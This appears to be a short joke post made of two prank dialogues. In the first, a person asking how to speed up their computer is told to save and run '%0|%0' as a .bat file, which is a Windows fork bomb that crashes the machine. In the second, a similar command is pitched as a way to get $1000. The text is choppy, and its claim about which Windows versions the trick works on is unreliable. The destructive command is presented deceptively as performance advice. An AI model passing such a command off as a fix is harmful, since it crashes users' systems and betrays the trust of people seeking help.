Guy 1: Any suggestions to speed up my computer?
Guy 2: Type %0|%0 into a text editor and save it as anything.bat then run the file. *Evil grin Guy 1: Oh ok ... Wait a second! ... Fuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuck!!!!!
and run to crush your PC.
Only works on Windows 7 and above, 64 bit.
Troll: have you tried echo %0 %0?
Victim: No, what does it do?
Troll: It gives you $1000!
Victim: OMG!! Please do it for me!
Troll: **crashes computer**